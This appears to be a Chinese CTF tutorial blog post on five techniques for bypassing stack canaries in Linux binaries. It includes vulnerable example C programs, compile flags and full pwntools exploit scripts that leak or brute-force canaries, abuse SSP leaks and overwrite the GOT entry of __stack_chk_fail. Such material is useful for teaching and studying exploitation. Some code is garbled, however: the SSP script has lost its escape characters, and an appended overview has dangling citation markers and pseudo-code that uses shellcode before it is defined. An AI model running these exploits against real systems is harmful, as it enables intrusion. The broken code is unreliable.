Pwn之Canary绕过的五种方法

0x00 Canary介绍及原理

Canary 的意思是金丝雀🦜,英国矿井工人们每次下井都会带上一只金丝雀,如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。

我们知道,通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖 ebp、eip 等,从而达到劫持控制流的目的。当启用栈溢出保护后,函数开始执行的时候会先往栈底插入一段cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行 (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。由于栈溢出而引发的攻击非常普遍也非常古老,相应地 Canary 技术很早就出现在 glibc 里,直到现在也作为系统安全的第一道防线存在。

可以在 GCC 中使用以下参数设置 Canary:

-fstack-protector 启用保护,不过只为局部变量中含有数组的函数插入保护
-fstack-protector-all 启用保护,为所有函数插入保护
-fstack-protector-strong
-fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护
-fno-stack-protector 禁用保护

开启Canary保护的stack结构如下:
 

High     Address......
args
Return   Address
rbp=============>old    ebp
rbp-8(32位中为4)===>canary     value
局部变量
Low     Address..........

当程序启用 Canary 编译后,在函数序言部分会取 fs (gs)  寄存器 0x28 (0x14) 处的值,存放在栈中 rax (eax) 的位置,这个操作即为向栈中插入 Canary 值(括号中为32位时情况):

mov    rax, qword ptr fs:[0x28]
mov    qword ptr [rbp - 8], rax

在函数返回之前,会将该值取出,并与 fs:0x28 的值进行异或。如果异或的结果为 0,说明 Canary 未被修改,函数会正常返回,这个操作即为检测是否发生栈溢出。

mov    rdx,QWORD PTR [rbp-0x8]
xor    rdx,QWORD PTR fs:0x28
je     0x4005d7 <main+65>
call   0x400460 <__stack_chk_fail@plt>

如果 Canary 已经被非法修改,此时程序流程会走到 __stack_chk_fail,该函数如下:

eglibc-2.19/debug/stack_chk_fail.c

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}

void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

0x01 覆盖截断字符获取Canary

适用于有栈溢出的题目

32位程序中,Canary为4个字节,其中最低字节为\x00,可以防止被read和write等函数读出来。通过栈溢出将低位的\x00覆写,从而读出canary的值。

因此我们需要构建两次栈溢出,第一次将Canary低字节的\x00覆写,然后读出Canary后面的值,第二次溢出在给出输出的Canary前面加上\x00即可,然后覆盖Canary到ebp距离和ebp本身的长度,即可到达返回地址。

32位的例题:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
    system("/bin/sh");
}
void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
void vuln() {
    char buf[100];
    for(int i=0;i<2;i++){
        read(0, buf, 0x200);
        printf(buf);
    }
}
int main(void) {
    init();
    puts("Hello Hacker!");
    vuln();
    return 0;
}

编译:

gcc pwn.c -no-pie -m32 -fstack-protector -z noexecstack -o pwn

检查后发现开启了NX,canary和部分relro,并且程序中有getshell()可以直接返回shell,vuln()函数中存在栈溢出。寻找canary :

因此可以得出,canary被存放在了ebp+var_C的位置,即0xC的位置

read进行输入时栈顶的位置为:

从栈顶到canary低字节的距离就是 0x70-0xC,而第一次需要覆盖掉低字节的\x00,所以还需要+1

下面是exp:

from pwn import *
conn = process('./pwn')

getshell = 0x080491c6
payload_1 = b'a' * (0x70 - 0xc)  #第一次溢出
conn.send(payload_1)
recvbytes = conn.recv()  # 获取canary
canary = u32(recvbytes[0x65:0x68].rjust(4, b'\x00')) #拼接canary
payload_2 = b'a' * (0x70 - 0xc) + p32(canary) + b'a' * 0xc + p32(getshell)
#第二次溢出
conn.send(payload_2)
conn.recv()
conn.interactive()

0x02 利用格式化字符漏洞获取Canary

格式化字符串漏洞可以打印出栈中的内容,因此可以打印出canary的值,从而进行栈溢出。

还是以上一道题为例,程序使用了 printf(buf) 这种危险方法直接打印了 read 输入的内容,因此可以通过输入格式化字符串来泄露栈上的内容。

首先,我们先确定当前文本在栈中的位置,输入以下内容

AAAA%p%p%p%p%p%p%p%p

看到0x41414141出现在栈中的第六个位置,而栈顶到canary的距离是0x70-0xc,一个不带长度的格式化字符会输出4个字节大小的数据,因此从第六个数据开始,再输出25个数据介绍canary的值,而6+25=31,我们可以用如下payload输出canary:

payload_1 = %31$x

canary就是收到的内容

具体原理可以看我的这篇文章:Pwn之格式化字符串漏洞-CSDN博客

最后和上题一样,再溢出一次获取shell,exp如下:

from pwn import *
conn = process('./pwn')
getshell = 0x80491c6 # 第一次溢出
payload_1 = b'%31$x'
conn.send(payload_1)
canary = conn.recvuntil(b'00')
canary = int(canary[-8:],16) # 获取canary并转换成16进制整型
print(f'Canary: {hex(canary)}')
payload_2 = b'a' * (0x70 - 0xc) + p32(canary) + b'a' * 0xc + p32(getshell) 
# 第二次溢出
conn.send(payload_2)
conn.recv()
conn.interactive()

0x03 逐字节爆破绕过Canary

适用于有通过fork()函数创建的子进程的程序

某些题目中存在fork()函数,且程序开启了canary保护,当程序进入到子进程的时候,其canary的值和父进程中canary的值一样,因为fork函数为拷贝父进程的内存,因此在一定的条件下我们可以将canary爆破出来;需要必备的条件就是程序中存在栈溢出的漏洞,并且可以覆盖到canary的位置,那么我们就可以把canary一位一位的爆破出来。

对于32位ELF,只需要对三个字节进行爆破。爆破方式是先利用栈溢出覆写次低字节,如果出错的话,会报错并且重启子进程,获得正确的次低字节的话,不会报错。获取正确的次低字节之后,再依次爆破次高字节和高字节。每个字节的可能性是256,因此3个字节的逐个爆破总次数是256+256+256=768次

例题:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>  
#include <sys/wait.h>

void getshell(void)
{
    system("/bin/sh");
}

void init(void)
{
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
}

void vuln(void)
{
    char buf[100];
    memset(buf, 0, sizeof(buf));
    read(0, buf, 0x200);
    printf("%s\n", buf);
}
int main(void)
{
    init();
    while (1)
    {
        printf("Hello Hacker!\n");
        if (fork()) //father
        {
            wait(NULL);
        }
        else //child
        {
            vuln();
            exit(0);
        }
    }

    return 0;
}

编译同上 ,漏洞和后门函数同上,编写爆破脚本获得canary:

from pwn import *
import time

conn = process('./pwn')
getshell = 0x080491f6

canary = b'\x00'
for i in range(3):
  for j in range(0, 256):
    payload = b'a' * (0x70 - 0xC) + canary + p8(j)
    conn.send(payload)
    time.sleep(0.1)
    res = conn.recv()
    if ( b"stack smashing detected" not in res):
        print(f'the {i} is {hex(j)}')
        canary += p8(j)
        break
  assert(len(canary) == i+2)     
print(f'Canary : {hex(u32(canary))}')
payload_2 = b'a' * (0x70 - 0xc) + canary + b'a' * 0xc + p32(getshell)
# 第二次溢出
conn.send(payload_2)
conn.recv()
conn.interactive()

0x04 SSP泄露Canary

适用于Flag存储于内存空间中的情况

#来源于Canary保护详解和常用Bypass手段-安全客 - 安全资讯平台实在是看不懂,感觉也不常用#

SSP全称是Stack Smashing Protect,这种方法虽然不能让我们getshell,但是可以读取内存中的值,当flag在内存中储存时,我们就可以利用这个方法来读取flag。

文章开头分析了__stack_check_fail(),当程序中存在栈溢出,并且溢出的长度可以覆盖掉程序中argv[0]的时候,我们可以通过这种方法打印任意地址上的值,造成任意地址读。

对于linux,fs段寄存器实际指向的是当前栈的TLS结构,fs:0x28(gs:0x14)指向的正是stack_guard

typedef struct
{
  void *tcb;        /* Pointer to the TCB.  Not necessarily the
                       thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;       /* Pointer to the thread descriptor.  */
  int multiple_threads;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  ...
} tcbhead_t;

如果存在溢出并且可以覆盖位于TLS中保存的canary值,那么就可以实现绕过保护机制

TLS中的值由函数security_init进行初始化

static void
security_init (void)
{
  // _dl_random的值在进入这个函数的时候就已经由kernel写入.
  // glibc直接使用了_dl_random的值并没有给赋值
  // 如果不采用这种模式, glibc也可以自己产生随机数

  //将_dl_random的最后一个字节设置为0x0
  uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);

  // 设置Canary的值到TLS中
  THREAD_SET_STACK_GUARD (stack_chk_guard);

  _dl_random = NULL;
}

//THREAD_SET_STACK_GUARD宏用于设置TLS
#define THREAD_SET_STACK_GUARD(value) 
  THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)

用网鼎杯的GUESS题为例,该题启用了NX和canary

程序先把flag读入到栈上,然后利用gets函数进行三次读入,这里可以进行三次栈溢出,然后利用SSP Leak将flag打印出来,首先找到argv[0]的地址,计算出偏移量,用gdb加载程序,在栈很高的地址上可以看到,它默认指向文件名。

在gdb中调试出,我们输入的字符串s2在 “rbp-0x40”处,flag在”rbp-0x70处”,从而计算出能够覆盖掉argv[0]的偏移是0x128

根据第一次泄露出的puts函数的真实地址,计算出libc基地址

payload = 'a'* 0x128 + p64(0x602020)*3

第二次泄露的_environ,也就是真实栈的地址

environ_addr = libc_base + libc.symbols['_environ']

在linux应用程序运行时,内存的最高端是环境/参数节(environment/arguments section),用来存储系统环境变量的一份复制文件,进程在运行时可能需要。

例如,运行中的进程,可以通过环境变量来访问路径、shell 名称、主机名等信息。
该节是可写的,因此在格式串(format string)和缓冲区溢出(buffer overflow)攻击中都可以攻击该节。

*environ指针指向栈地址(环境变量位置),有时它也成为攻击的对象,泄露栈地址,篡改栈空间地址,进而劫持控制流。环境表是一个表示环境字符串的字符指针数组,由”name=value”这样类似的字符串组成,它储存在整个进程空间的的顶部,其中value是一个以”″结束的C语言类型的字符串,代表指针该环境变量的值,一般我们见到的name都是大写,但这只是一个惯例

我们需要泄漏出栈的地址,才能泄漏出flag,而_environ存着栈的地址,所以我们需要泄漏_environ

第三次通过之前计算的偏移,直接泄露flag,exp如下:

from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']

p = process('./GUESS.')
puts_got = 0x602020
#leak libc
p.recvuntil('guessing flagn')
payload = 'a'*0x128 + p64(puts_got)
p.sendline(payload)
p.recvuntil('detected ***: ')
puts_addr = u64(p.recv(6).ljust(8,'x00'))
log.success('puts addr : 0x%x' %puts_addr)
#gdb.attach(p)
offset_puts = 0x6f690
libc_base = puts_addr - offset_puts
log.success('libc base addr : 0x%x' %libc_base)

addr__environ = 0x3c6f38
_environ_addr = libc_base + addr__environ
log.success('_environ addr : 0x%x' %addr__environ)

#leak environ
p.recvuntil('guessing flagn')
payload = 'a'*0x128 + p64(_environ_addr)
p.sendline(payload)
p.recvuntil('detected ***: ')
stack_base = u64(p.recv(6).ljust(8,'x00')) - 0x198
log.success('stack base addr : 0x%x' %stack_base)
flag_addr = stack_base + 0x30

#leak flag
p.recvuntil('guessing flagn')
payload = 'a'*0x128 + p64(flag_addr)
p.sendline(payload)
p.recvuntil('detected ***: ')
p.recvuntil('}')
p.interactive()

0x05 劫持__stack_chk_fail函数

在开启canary保护的程序中,如果canary不对,程序会转到stack_chk_fail函数执行。stack_chk_fail函数是一个普通的延迟绑定函数,可以通过修改GOT表劫持这个函数。

例题:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
void getshell(void)
{
    system("/bin/sh");
}
int main(int argc, char *argv[])
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    char buf[100];
    read(0, buf, 200);#栈溢出
    printf(buf);
    return 0;
}
  • 劫持函数需要修改got表,所以要关闭relro(RELocation Read Only)
  • 需要调用getshell函数,所以需要关闭pie(Position Indenpendent Executive)

 gcc pwn.c -m32 -fstack-protector -no-pie -z noexecstack -z norelro -o pwn

分析发现有getshell后门和格式化字符串漏洞,可以向任意地址写入数据。

根据之前GOT表的学习,我们知道GOT表中存储的是函数的实际地址,如果把__stack_chk_fail函数的got表地址替换为getshell的地址,在canary出错的情况下,调用__stack_chk_fail时就会直接获取到shell。

这里利用pwntools中的fmtstr_payload()可以方便的进行地址的篡改:

fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)

  • offset(int): 字符串的偏移
  • writes (dict): 注入的地址和值,{target_addr : change_to, }

先用上文方法确定字符串偏移,然后编写exp:

from pwn import *

conn = process('./pwn')
elf = conn.elf

stack_chk_fail_got = elf.got['__stack_chk_fail']
getshell = elf.sym['getshell'] 
payload = fmtstr_payload(10, {stack_chk_fail_got: getshell})
#修改GOT表地址
payload = payload.ljust(0x70, b'a') 
#触发__stack_chk_fail
conn.send(payload)
conn.interactive()

 

### Canary机制概述 栈金丝雀(Stack Canary)是一种用于检测缓冲区溢出的安全技术。其基本原理是在函数返回地址之前放置一个特定值(称为“金丝雀”),如果该值被修改,则表明发生了缓冲区溢出攻击[^1]。 在网络安全上下文中,绕过Canary保护通常涉及利用某些漏洞来规避这种安全措施。以下是几种常见的方法: 1. **覆盖其他变量而非直接破坏Canary** 攻击者可能通过精心设计输入数据仅覆盖目标内存区域中的非关键部分而不触及实际的Canary值,从而避免触发异常处理程序[^2]。 2. **泄露Canary值后再实施攻击** 如果存在信息泄漏漏洞,比如格式化字符串错误等,可以先读取到当前线程或进程内的Canary具体数值;之后再基于此构建精确控制流劫持所需的payload[^3]。 3. **利用已知固定Canary模式** 某些老旧系统可能存在未随机化的Canary实现方式,在这些情况下可以直接猜测或者枚举出正确的Canary序列号来进行后续操作[^4]。 下面给出一段Python伪代码展示如何尝试获取并应用泄露出来的canary value: ```python import struct def leak_canary(target_process): # 假设这里有一个能够造成信息泄露的功能调用 leaked_data = target_process.send_payload("%x." * 20) # 解析返回的数据找出canary所在位置 canary_value = int(leaked_data.split('.')[CANARY_POSITION], 16) return canary_value def craft_exploit(canary, buffer_size): nop_sled = b"\x90" * (buffer_size - len(shellcode)) shellcode = asm("mov $0xb,%al; mov %esp,%ebx; ...") # 构造shellcode address_to_jump = struct.pack("<I", RETURN_ADDRESS) exploit_payload = ( nop_sled + shellcode + struct.pack("<I", canary) + b"A"*(CANARY_PADDING_SIZE-len(struct.pack("<I", canary))) + address_to_jump ) return exploit_payload ``` 以上仅为理论上的演示,请勿非法测试任何真实环境下的软件和服务!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值